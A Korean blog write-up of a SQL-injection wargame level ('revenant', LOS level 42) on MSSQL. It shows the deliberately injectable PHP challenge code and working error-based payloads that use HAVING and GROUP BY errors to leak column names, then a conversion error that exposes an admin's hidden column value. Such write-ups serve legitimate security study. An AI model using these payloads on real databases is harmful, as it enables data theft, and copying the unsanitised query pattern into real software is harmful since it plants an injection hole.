LOS Lv.42 revenant
revenant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select * from prob_revenant where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
Solution
1
2
3
4
5개의 column 중 id, pw만 아는 상황.
우리는 id=admin의 5번째 column의 값을 알아내야 함.
group by를 통해 알아낼 수 있음.
https://zulloper.tistory.com/6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"5. 현재 테이블 조회"를 보면 ' having 1=1 --%20을 했더니?
Column 'prob_revenant.id' is invalid ~~~
이런 에러가 뜨면서 컬럼명이 나타남.
?id=' group by id --%20 -> prob_revenant.pw is ~~
이런식으로 5번째 컬럼명을 알아내면 됨.
?id=' group by id,pw,"45a88487","13477a35" --%20
-> 5번째 컬럼명은 "9604b0c8"임을 확인!
-> mssql에서는 double quotes로 컬럼명과 문자열을 구분하나봄.
-> single quote로 하면 문자열로 들어가는 듯함.
1
2
3
4
5
따라서 5번째 컬럼의 값을 알아내면 다음과 같음.
?id=admin' and 1=(select "9604b0c8") --%20
-> aa68a4b3fb327dee07f868450f7e1183
에러 발생 이유
This post is licensed under CC BY 4.0 by the author.